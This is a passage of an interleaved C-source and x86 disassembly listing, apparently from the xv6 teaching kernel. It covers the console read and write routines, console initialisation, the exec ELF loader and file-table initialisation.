80100915: eb 00 jmp 80100917 <consoleintr+0x14c>
80100917: 90 nop
consoleintr(int (*getc)(void))
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
80100918: 8b 45 08 mov 0x8(%ebp),%eax
8010091b: ff d0 call *%eax
8010091d: 89 45 f0 mov %eax,-0x10(%ebp)
80100920: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80100924: 0f 89 bf fe ff ff jns 801007e9 <consoleintr+0x1e>
}
}
break;
}
}
release(&cons.lock);
8010092a: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100931: e8 58 46 00 00 call 80104f8e <release>
if(doprocdump) {
80100936: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010093a: 74 05 je 80100941 <consoleintr+0x176>
procdump(); // now call procdump() wo. cons.lock held
8010093c: e8 91 43 00 00 call 80104cd2 <procdump>
}
}
80100941: c9 leave
80100942: c3 ret
80100943 <consoleread>:
int
consoleread(struct inode *ip, char *dst, int n)
{
80100943: 55 push %ebp
80100944: 89 e5 mov %esp,%ebp
80100946: 83 ec 28 sub $0x28,%esp
uint target;
int c;
iunlock(ip);
80100949: 8b 45 08 mov 0x8(%ebp),%eax
8010094c: 89 04 24 mov %eax,(%esp)
8010094f: e8 de 10 00 00 call 80101a32 <iunlock>
target = n;
80100954: 8b 45 10 mov 0x10(%ebp),%eax
80100957: 89 45 f4 mov %eax,-0xc(%ebp)
acquire(&cons.lock);
8010095a: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100961: e8 c1 45 00 00 call 80104f27 <acquire>
while(n > 0){
80100966: e9 a6 00 00 00 jmp 80100a11 <consoleread+0xce>
while(input.r == input.w){
8010096b: eb 42 jmp 801009af <consoleread+0x6c>
if(proc->killed){
8010096d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100973: 8b 40 24 mov 0x24(%eax),%eax
80100976: 85 c0 test %eax,%eax
80100978: 74 21 je 8010099b <consoleread+0x58>
release(&cons.lock);
8010097a: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100981: e8 08 46 00 00 call 80104f8e <release>
ilock(ip);
80100986: 8b 45 08 mov 0x8(%ebp),%eax
80100989: 89 04 24 mov %eax,(%esp)
8010098c: e8 8d 0f 00 00 call 8010191e <ilock>
return -1;
80100991: b8 ff ff ff ff mov $0xffffffff,%eax
80100996: e9 a1 00 00 00 jmp 80100a3c <consoleread+0xf9>
}
sleep(&input.r, &cons.lock);
8010099b: c7 44 24 04 e0 b5 10 movl $0x8010b5e0,0x4(%esp)
801009a2: 80
801009a3: c7 04 24 60 10 11 80 movl $0x80111060,(%esp)
801009aa: e8 a7 41 00 00 call 80104b56 <sleep>
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
while(input.r == input.w){
801009af: 8b 15 60 10 11 80 mov 0x80111060,%edx
801009b5: a1 64 10 11 80 mov 0x80111064,%eax
801009ba: 39 c2 cmp %eax,%edx
801009bc: 74 af je 8010096d <consoleread+0x2a>
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
801009be: a1 60 10 11 80 mov 0x80111060,%eax
801009c3: 8d 50 01 lea 0x1(%eax),%edx
801009c6: 89 15 60 10 11 80 mov %edx,0x80111060
801009cc: 83 e0 7f and $0x7f,%eax
801009cf: 8a 80 e0 0f 11 80 mov -0x7feef020(%eax),%al
801009d5: 0f be c0 movsbl %al,%eax
801009d8: 89 45 f0 mov %eax,-0x10(%ebp)
if(c == C('D')){ // EOF
801009db: 83 7d f0 04 cmpl $0x4,-0x10(%ebp)
801009df: 75 17 jne 801009f8 <consoleread+0xb5>
if(n < target){
801009e1: 8b 45 10 mov 0x10(%ebp),%eax
801009e4: 3b 45 f4 cmp -0xc(%ebp),%eax
801009e7: 73 0d jae 801009f6 <consoleread+0xb3>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
801009e9: a1 60 10 11 80 mov 0x80111060,%eax
801009ee: 48 dec %eax
801009ef: a3 60 10 11 80 mov %eax,0x80111060
}
break;
801009f4: eb 25 jmp 80100a1b <consoleread+0xd8>
801009f6: eb 23 jmp 80100a1b <consoleread+0xd8>
}
*dst++ = c;
801009f8: 8b 45 0c mov 0xc(%ebp),%eax
801009fb: 8d 50 01 lea 0x1(%eax),%edx
801009fe: 89 55 0c mov %edx,0xc(%ebp)
80100a01: 8b 55 f0 mov -0x10(%ebp),%edx
80100a04: 88 10 mov %dl,(%eax)
--n;
80100a06: ff 4d 10 decl 0x10(%ebp)
if(c == '\n')
80100a09: 83 7d f0 0a cmpl $0xa,-0x10(%ebp)
80100a0d: 75 02 jne 80100a11 <consoleread+0xce>
break;
80100a0f: eb 0a jmp 80100a1b <consoleread+0xd8>
int c;
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
80100a11: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100a15: 0f 8f 50 ff ff ff jg 8010096b <consoleread+0x28>
*dst++ = c;
--n;
if(c == '\n')
break;
}
release(&cons.lock);
80100a1b: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100a22: e8 67 45 00 00 call 80104f8e <release>
ilock(ip);
80100a27: 8b 45 08 mov 0x8(%ebp),%eax
80100a2a: 89 04 24 mov %eax,(%esp)
80100a2d: e8 ec 0e 00 00 call 8010191e <ilock>
return target - n;
80100a32: 8b 45 10 mov 0x10(%ebp),%eax
80100a35: 8b 55 f4 mov -0xc(%ebp),%edx
80100a38: 29 c2 sub %eax,%edx
80100a3a: 89 d0 mov %edx,%eax
}
80100a3c: c9 leave
80100a3d: c3 ret
80100a3e <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
80100a3e: 55 push %ebp
80100a3f: 89 e5 mov %esp,%ebp
80100a41: 83 ec 28 sub $0x28,%esp
int i;
iunlock(ip);
80100a44: 8b 45 08 mov 0x8(%ebp),%eax
80100a47: 89 04 24 mov %eax,(%esp)
80100a4a: e8 e3 0f 00 00 call 80101a32 <iunlock>
acquire(&cons.lock);
80100a4f: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100a56: e8 cc 44 00 00 call 80104f27 <acquire>
for(i = 0; i < n; i++)
80100a5b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80100a62: eb 1b jmp 80100a7f <consolewrite+0x41>
consputc(buf[i] & 0xff);
80100a64: 8b 55 f4 mov -0xc(%ebp),%edx
80100a67: 8b 45 0c mov 0xc(%ebp),%eax
80100a6a: 01 d0 add %edx,%eax
80100a6c: 8a 00 mov (%eax),%al
80100a6e: 0f be c0 movsbl %al,%eax
80100a71: 0f b6 c0 movzbl %al,%eax
80100a74: 89 04 24 mov %eax,(%esp)
80100a77: e8 f2 fc ff ff call 8010076e <consputc>
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
80100a7c: ff 45 f4 incl -0xc(%ebp)
80100a7f: 8b 45 f4 mov -0xc(%ebp),%eax
80100a82: 3b 45 10 cmp 0x10(%ebp),%eax
80100a85: 7c dd jl 80100a64 <consolewrite+0x26>
consputc(buf[i] & 0xff);
release(&cons.lock);
80100a87: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100a8e: e8 fb 44 00 00 call 80104f8e <release>
ilock(ip);
80100a93: 8b 45 08 mov 0x8(%ebp),%eax
80100a96: 89 04 24 mov %eax,(%esp)
80100a99: e8 80 0e 00 00 call 8010191e <ilock>
return n;
80100a9e: 8b 45 10 mov 0x10(%ebp),%eax
}
80100aa1: c9 leave
80100aa2: c3 ret
80100aa3 <consoleinit>:
void
consoleinit(void)
{
80100aa3: 55 push %ebp
80100aa4: 89 e5 mov %esp,%ebp
80100aa6: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
80100aa9: c7 44 24 04 b2 85 10 movl $0x801085b2,0x4(%esp)
80100ab0: 80
80100ab1: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100ab8: e8 49 44 00 00 call 80104f06 <initlock>
devsw[CONSOLE].write = consolewrite;
80100abd: c7 05 2c 1a 11 80 3e movl $0x80100a3e,0x80111a2c
80100ac4: 0a 10 80
devsw[CONSOLE].read = consoleread;
80100ac7: c7 05 28 1a 11 80 43 movl $0x80100943,0x80111a28
80100ace: 09 10 80
cons.locking = 1;
80100ad1: c7 05 14 b6 10 80 01 movl $0x1,0x8010b614
80100ad8: 00 00 00
picenable(IRQ_KBD);
80100adb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80100ae2: e8 9d 32 00 00 call 80103d84 <picenable>
ioapicenable(IRQ_KBD, 0);
80100ae7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100aee: 00
80100aef: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80100af6: e8 f2 1e 00 00 call 801029ed <ioapicenable>
}
80100afb: c9 leave
80100afc: c3 ret
80100afd: 00 00 add %al,(%eax)
...
80100b00 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
80100b00: 55 push %ebp
80100b01: 89 e5 mov %esp,%ebp
80100b03: 81 ec 38 01 00 00 sub $0x138,%esp
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
begin_op();
80100b09: e8 b5 29 00 00 call 801034c3 <begin_op>
if((ip = namei(path)) == 0){
80100b0e: 8b 45 08 mov 0x8(%ebp),%eax
80100b11: 89 04 24 mov %eax,(%esp)
80100b14: e8 18 19 00 00 call 80102431 <namei>
80100b19: 89 45 d8 mov %eax,-0x28(%ebp)
80100b1c: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
80100b20: 75 0f jne 80100b31 <exec+0x31>
end_op();
80100b22: e8 1e 2a 00 00 call 80103545 <end_op>
return -1;
80100b27: b8 ff ff ff ff mov $0xffffffff,%eax
80100b2c: e9 0b 04 00 00 jmp 80100f3c <exec+0x43c>
}
ilock(ip);
80100b31: 8b 45 d8 mov -0x28(%ebp),%eax
80100b34: 89 04 24 mov %eax,(%esp)
80100b37: e8 e2 0d 00 00 call 8010191e <ilock>
pgdir = 0;
80100b3c: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf))
80100b43: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
80100b4a: 00
80100b4b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80100b52: 00
80100b53: 8d 85 0c ff ff ff lea -0xf4(%ebp),%eax
80100b59: 89 44 24 04 mov %eax,0x4(%esp)
80100b5d: 8b 45 d8 mov -0x28(%ebp),%eax
80100b60: 89 04 24 mov %eax,(%esp)
80100b63: e8 3a 12 00 00 call 80101da2 <readi>
80100b68: 83 f8 33 cmp $0x33,%eax
80100b6b: 77 05 ja 80100b72 <exec+0x72>
goto bad;
80100b6d: e9 9e 03 00 00 jmp 80100f10 <exec+0x410>
if(elf.magic != ELF_MAGIC)
80100b72: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100b78: 3d 7f 45 4c 46 cmp $0x464c457f,%eax
80100b7d: 74 05 je 80100b84 <exec+0x84>
goto bad;
80100b7f: e9 8c 03 00 00 jmp 80100f10 <exec+0x410>
if((pgdir = setupkvm()) == 0)
80100b84: e8 57 71 00 00 call 80107ce0 <setupkvm>
80100b89: 89 45 d4 mov %eax,-0x2c(%ebp)
80100b8c: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
80100b90: 75 05 jne 80100b97 <exec+0x97>
goto bad;
80100b92: e9 79 03 00 00 jmp 80100f10 <exec+0x410>
// Load program into memory.
sz = 0;
80100b97: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100b9e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
80100ba5: 8b 85 28 ff ff ff mov -0xd8(%ebp),%eax
80100bab: 89 45 e8 mov %eax,-0x18(%ebp)
80100bae: e9 fb 00 00 00 jmp 80100cae <exec+0x1ae>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100bb3: 8b 45 e8 mov -0x18(%ebp),%eax
80100bb6: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100bbd: 00
80100bbe: 89 44 24 08 mov %eax,0x8(%esp)
80100bc2: 8d 85 ec fe ff ff lea -0x114(%ebp),%eax
80100bc8: 89 44 24 04 mov %eax,0x4(%esp)
80100bcc: 8b 45 d8 mov -0x28(%ebp),%eax
80100bcf: 89 04 24 mov %eax,(%esp)
80100bd2: e8 cb 11 00 00 call 80101da2 <readi>
80100bd7: 83 f8 20 cmp $0x20,%eax
80100bda: 74 05 je 80100be1 <exec+0xe1>
goto bad;
80100bdc: e9 2f 03 00 00 jmp 80100f10 <exec+0x410>
if(ph.type != ELF_PROG_LOAD)
80100be1: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100be7: 83 f8 01 cmp $0x1,%eax
80100bea: 74 05 je 80100bf1 <exec+0xf1>
continue;
80100bec: e9 b1 00 00 00 jmp 80100ca2 <exec+0x1a2>
if(ph.memsz < ph.filesz)
80100bf1: 8b 95 00 ff ff ff mov -0x100(%ebp),%edx
80100bf7: 8b 85 fc fe ff ff mov -0x104(%ebp),%eax
80100bfd: 39 c2 cmp %eax,%edx
80100bff: 73 05 jae 80100c06 <exec+0x106>
goto bad;
80100c01: e9 0a 03 00 00 jmp 80100f10 <exec+0x410>
if(ph.vaddr + ph.memsz < ph.vaddr)
80100c06: 8b 95 f4 fe ff ff mov -0x10c(%ebp),%edx
80100c0c: 8b 85 00 ff ff ff mov -0x100(%ebp),%eax
80100c12: 01 c2 add %eax,%edx
80100c14: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c1a: 39 c2 cmp %eax,%edx
80100c1c: 73 05 jae 80100c23 <exec+0x123>
goto bad;
80100c1e: e9 ed 02 00 00 jmp 80100f10 <exec+0x410>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100c23: 8b 95 f4 fe ff ff mov -0x10c(%ebp),%edx
80100c29: 8b 85 00 ff ff ff mov -0x100(%ebp),%eax
80100c2f: 01 d0 add %edx,%eax
80100c31: 89 44 24 08 mov %eax,0x8(%esp)
80100c35: 8b 45 e0 mov -0x20(%ebp),%eax
80100c38: 89 44 24 04 mov %eax,0x4(%esp)
80100c3c: 8b 45 d4 mov -0x2c(%ebp),%eax
80100c3f: 89 04 24 mov %eax,(%esp)
80100c42: e8 34 74 00 00 call 8010807b <allocuvm>
80100c47: 89 45 e0 mov %eax,-0x20(%ebp)
80100c4a: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80100c4e: 75 05 jne 80100c55 <exec+0x155>
goto bad;
80100c50: e9 bb 02 00 00 jmp 80100f10 <exec+0x410>
if(ph.vaddr % PGSIZE != 0)
80100c55: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c5b: 25 ff 0f 00 00 and $0xfff,%eax
80100c60: 85 c0 test %eax,%eax
80100c62: 74 05 je 80100c69 <exec+0x169>
goto bad;
80100c64: e9 a7 02 00 00 jmp 80100f10 <exec+0x410>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100c69: 8b 8d fc fe ff ff mov -0x104(%ebp),%ecx
80100c6f: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx
80100c75: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c7b: 89 4c 24 10 mov %ecx,0x10(%esp)
80100c7f: 89 54 24 0c mov %edx,0xc(%esp)
80100c83: 8b 55 d8 mov -0x28(%ebp),%edx
80100c86: 89 54 24 08 mov %edx,0x8(%esp)
80100c8a: 89 44 24 04 mov %eax,0x4(%esp)
80100c8e: 8b 45 d4 mov -0x2c(%ebp),%eax
80100c91: 89 04 24 mov %eax,(%esp)
80100c94: e8 ff 72 00 00 call 80107f98 <loaduvm>
80100c99: 85 c0 test %eax,%eax
80100c9b: 79 05 jns 80100ca2 <exec+0x1a2>
goto bad;
80100c9d: e9 6e 02 00 00 jmp 80100f10 <exec+0x410>
if((pgdir = setupkvm()) == 0)
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100ca2: ff 45 ec incl -0x14(%ebp)
80100ca5: 8b 45 e8 mov -0x18(%ebp),%eax
80100ca8: 83 c0 20 add $0x20,%eax
80100cab: 89 45 e8 mov %eax,-0x18(%ebp)
80100cae: 8b 85 38 ff ff ff mov -0xc8(%ebp),%eax
80100cb4: 0f b7 c0 movzwl %ax,%eax
80100cb7: 3b 45 ec cmp -0x14(%ebp),%eax
80100cba: 0f 8f f3 fe ff ff jg 80100bb3 <exec+0xb3>
if(ph.vaddr % PGSIZE != 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100cc0: 8b 45 d8 mov -0x28(%ebp),%eax
80100cc3: 89 04 24 mov %eax,(%esp)
80100cc6: e8 3f 0e 00 00 call 80101b0a <iunlockput>
end_op();
80100ccb: e8 75 28 00 00 call 80103545 <end_op>
ip = 0;
80100cd0: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100cd7: 8b 45 e0 mov -0x20(%ebp),%eax
80100cda: 05 ff 0f 00 00 add $0xfff,%eax
80100cdf: 25 00 f0 ff ff and $0xfffff000,%eax
80100ce4: 89 45 e0 mov %eax,-0x20(%ebp)
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100ce7: 8b 45 e0 mov -0x20(%ebp),%eax
80100cea: 05 00 20 00 00 add $0x2000,%eax
80100cef: 89 44 24 08 mov %eax,0x8(%esp)
80100cf3: 8b 45 e0 mov -0x20(%ebp),%eax
80100cf6: 89 44 24 04 mov %eax,0x4(%esp)
80100cfa: 8b 45 d4 mov -0x2c(%ebp),%eax
80100cfd: 89 04 24 mov %eax,(%esp)
80100d00: e8 76 73 00 00 call 8010807b <allocuvm>
80100d05: 89 45 e0 mov %eax,-0x20(%ebp)
80100d08: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80100d0c: 75 05 jne 80100d13 <exec+0x213>
goto bad;
80100d0e: e9 fd 01 00 00 jmp 80100f10 <exec+0x410>
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100d13: 8b 45 e0 mov -0x20(%ebp),%eax
80100d16: 2d 00 20 00 00 sub $0x2000,%eax
80100d1b: 89 44 24 04 mov %eax,0x4(%esp)
80100d1f: 8b 45 d4 mov -0x2c(%ebp),%eax
80100d22: 89 04 24 mov %eax,(%esp)
80100d25: e8 b3 75 00 00 call 801082dd <clearpteu>
sp = sz;
80100d2a: 8b 45 e0 mov -0x20(%ebp),%eax
80100d2d: 89 45 dc mov %eax,-0x24(%ebp)
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100d30: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80100d37: e9 95 00 00 00 jmp 80100dd1 <exec+0x2d1>
if(argc >= MAXARG)
80100d3c: 83 7d e4 1f cmpl $0x1f,-0x1c(%ebp)
80100d40: 76 05 jbe 80100d47 <exec+0x247>
goto bad;
80100d42: e9 c9 01 00 00 jmp 80100f10 <exec+0x410>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100d47: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d4a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100d51: 8b 45 0c mov 0xc(%ebp),%eax
80100d54: 01 d0 add %edx,%eax
80100d56: 8b 00 mov (%eax),%eax
80100d58: 89 04 24 mov %eax,(%esp)
80100d5b: e8 7d 46 00 00 call 801053dd <strlen>
80100d60: 8b 55 dc mov -0x24(%ebp),%edx
80100d63: 29 c2 sub %eax,%edx
80100d65: 89 d0 mov %edx,%eax
80100d67: 48 dec %eax
80100d68: 83 e0 fc and $0xfffffffc,%eax
80100d6b: 89 45 dc mov %eax,-0x24(%ebp)
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100d6e: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d71: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100d78: 8b 45 0c mov 0xc(%ebp),%eax
80100d7b: 01 d0 add %edx,%eax
80100d7d: 8b 00 mov (%eax),%eax
80100d7f: 89 04 24 mov %eax,(%esp)
80100d82: e8 56 46 00 00 call 801053dd <strlen>
80100d87: 40 inc %eax
80100d88: 89 c2 mov %eax,%edx
80100d8a: 8b 45 e4 mov -0x1c(%ebp),%eax
80100d8d: 8d 0c 85 00 00 00 00 lea 0x0(,%eax,4),%ecx
80100d94: 8b 45 0c mov 0xc(%ebp),%eax
80100d97: 01 c8 add %ecx,%eax
80100d99: 8b 00 mov (%eax),%eax
80100d9b: 89 54 24 0c mov %edx,0xc(%esp)
80100d9f: 89 44 24 08 mov %eax,0x8(%esp)
80100da3: 8b 45 dc mov -0x24(%ebp),%eax
80100da6: 89 44 24 04 mov %eax,0x4(%esp)
80100daa: 8b 45 d4 mov -0x2c(%ebp),%eax
80100dad: 89 04 24 mov %eax,(%esp)
80100db0: e8 e0 76 00 00 call 80108495 <copyout>
80100db5: 85 c0 test %eax,%eax
80100db7: 79 05 jns 80100dbe <exec+0x2be>
goto bad;
80100db9: e9 52 01 00 00 jmp 80100f10 <exec+0x410>
ustack[3+argc] = sp;
80100dbe: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dc1: 8d 50 03 lea 0x3(%eax),%edx
80100dc4: 8b 45 dc mov -0x24(%ebp),%eax
80100dc7: 89 84 95 40 ff ff ff mov %eax,-0xc0(%ebp,%edx,4)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100dce: ff 45 e4 incl -0x1c(%ebp)
80100dd1: 8b 45 e4 mov -0x1c(%ebp),%eax
80100dd4: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100ddb: 8b 45 0c mov 0xc(%ebp),%eax
80100dde: 01 d0 add %edx,%eax
80100de0: 8b 00 mov (%eax),%eax
80100de2: 85 c0 test %eax,%eax
80100de4: 0f 85 52 ff ff ff jne 80100d3c <exec+0x23c>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
80100dea: 8b 45 e4 mov -0x1c(%ebp),%eax
80100ded: 83 c0 03 add $0x3,%eax
80100df0: c7 84 85 40 ff ff ff movl $0x0,-0xc0(%ebp,%eax,4)
80100df7: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
80100dfb: c7 85 40 ff ff ff ff movl $0xffffffff,-0xc0(%ebp)
80100e02: ff ff ff
ustack[1] = argc;
80100e05: 8b 45 e4 mov -0x1c(%ebp),%eax
80100e08: 89 85 44 ff ff ff mov %eax,-0xbc(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100e0e: 8b 45 e4 mov -0x1c(%ebp),%eax
80100e11: 40 inc %eax
80100e12: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80100e19: 8b 45 dc mov -0x24(%ebp),%eax
80100e1c: 29 d0 sub %edx,%eax
80100e1e: 89 85 48 ff ff ff mov %eax,-0xb8(%ebp)
sp -= (3+argc+1) * 4;
80100e24: 8b 45 e4 mov -0x1c(%ebp),%eax
80100e27: 83 c0 04 add $0x4,%eax
80100e2a: c1 e0 02 shl $0x2,%eax
80100e2d: 29 45 dc sub %eax,-0x24(%ebp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100e30: 8b 45 e4 mov -0x1c(%ebp),%eax
80100e33: 83 c0 04 add $0x4,%eax
80100e36: c1 e0 02 shl $0x2,%eax
80100e39: 89 44 24 0c mov %eax,0xc(%esp)
80100e3d: 8d 85 40 ff ff ff lea -0xc0(%ebp),%eax
80100e43: 89 44 24 08 mov %eax,0x8(%esp)
80100e47: 8b 45 dc mov -0x24(%ebp),%eax
80100e4a: 89 44 24 04 mov %eax,0x4(%esp)
80100e4e: 8b 45 d4 mov -0x2c(%ebp),%eax
80100e51: 89 04 24 mov %eax,(%esp)
80100e54: e8 3c 76 00 00 call 80108495 <copyout>
80100e59: 85 c0 test %eax,%eax
80100e5b: 79 05 jns 80100e62 <exec+0x362>
goto bad;
80100e5d: e9 ae 00 00 00 jmp 80100f10 <exec+0x410>
// Save program name for debugging.
for(last=s=path; *s; s++)
80100e62: 8b 45 08 mov 0x8(%ebp),%eax
80100e65: 89 45 f4 mov %eax,-0xc(%ebp)
80100e68: 8b 45 f4 mov -0xc(%ebp),%eax
80100e6b: 89 45 f0 mov %eax,-0x10(%ebp)
80100e6e: eb 13 jmp 80100e83 <exec+0x383>
if(*s == '/')
80100e70: 8b 45 f4 mov -0xc(%ebp),%eax
80100e73: 8a 00 mov (%eax),%al
80100e75: 3c 2f cmp $0x2f,%al
80100e77: 75 07 jne 80100e80 <exec+0x380>
last = s+1;
80100e79: 8b 45 f4 mov -0xc(%ebp),%eax
80100e7c: 40 inc %eax
80100e7d: 89 45 f0 mov %eax,-0x10(%ebp)
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100e80: ff 45 f4 incl -0xc(%ebp)
80100e83: 8b 45 f4 mov -0xc(%ebp),%eax
80100e86: 8a 00 mov (%eax),%al
80100e88: 84 c0 test %al,%al
80100e8a: 75 e4 jne 80100e70 <exec+0x370>
if(*s == '/')
last = s+1;
safestrcpy(proc->name, last, sizeof(proc->name));
80100e8c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e92: 8d 50 6c lea 0x6c(%eax),%edx
80100e95: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100e9c: 00
80100e9d: 8b 45 f0 mov -0x10(%ebp),%eax
80100ea0: 89 44 24 04 mov %eax,0x4(%esp)
80100ea4: 89 14 24 mov %edx,(%esp)
80100ea7: e8 ea 44 00 00 call 80105396 <safestrcpy>
// Commit to the user image.
oldpgdir = proc->pgdir;
80100eac: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100eb2: 8b 40 04 mov 0x4(%eax),%eax
80100eb5: 89 45 d0 mov %eax,-0x30(%ebp)
proc->pgdir = pgdir;
80100eb8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ebe: 8b 55 d4 mov -0x2c(%ebp),%edx
80100ec1: 89 50 04 mov %edx,0x4(%eax)
proc->sz = sz;
80100ec4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100eca: 8b 55 e0 mov -0x20(%ebp),%edx
80100ecd: 89 10 mov %edx,(%eax)
proc->tf->eip = elf.entry; // main
80100ecf: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ed5: 8b 40 18 mov 0x18(%eax),%eax
80100ed8: 8b 95 24 ff ff ff mov -0xdc(%ebp),%edx
80100ede: 89 50 38 mov %edx,0x38(%eax)
proc->tf->esp = sp;
80100ee1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ee7: 8b 40 18 mov 0x18(%eax),%eax
80100eea: 8b 55 dc mov -0x24(%ebp),%edx
80100eed: 89 50 44 mov %edx,0x44(%eax)
switchuvm(proc);
80100ef0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ef6: 89 04 24 mov %eax,(%esp)
80100ef9: e8 ae 6e 00 00 call 80107dac <switchuvm>
freevm(oldpgdir);
80100efe: 8b 45 d0 mov -0x30(%ebp),%eax
80100f01: 89 04 24 mov %eax,(%esp)
80100f04: e8 3e 73 00 00 call 80108247 <freevm>
return 0;
80100f09: b8 00 00 00 00 mov $0x0,%eax
80100f0e: eb 2c jmp 80100f3c <exec+0x43c>
bad:
if(pgdir)
80100f10: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
80100f14: 74 0b je 80100f21 <exec+0x421>
freevm(pgdir);
80100f16: 8b 45 d4 mov -0x2c(%ebp),%eax
80100f19: 89 04 24 mov %eax,(%esp)
80100f1c: e8 26 73 00 00 call 80108247 <freevm>
if(ip){
80100f21: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
80100f25: 74 10 je 80100f37 <exec+0x437>
iunlockput(ip);
80100f27: 8b 45 d8 mov -0x28(%ebp),%eax
80100f2a: 89 04 24 mov %eax,(%esp)
80100f2d: e8 d8 0b 00 00 call 80101b0a <iunlockput>
end_op();
80100f32: e8 0e 26 00 00 call 80103545 <end_op>
}
return -1;
80100f37: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f3c: c9 leave
80100f3d: c3 ret
...
80100f40 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100f40: 55 push %ebp
80100f41: 89 e5 mov %esp,%ebp
80100f43: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
80100f46: c7 44 24 04 ba 85 10 movl $0x801085ba,0x4(%esp)
80100f4d: 80
80100f4e: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
80100f55: e8 ac 3f 00 00 call 80104f06 <initlock>
}
80100f5a: c9 leave
80100f5b: c3 ret
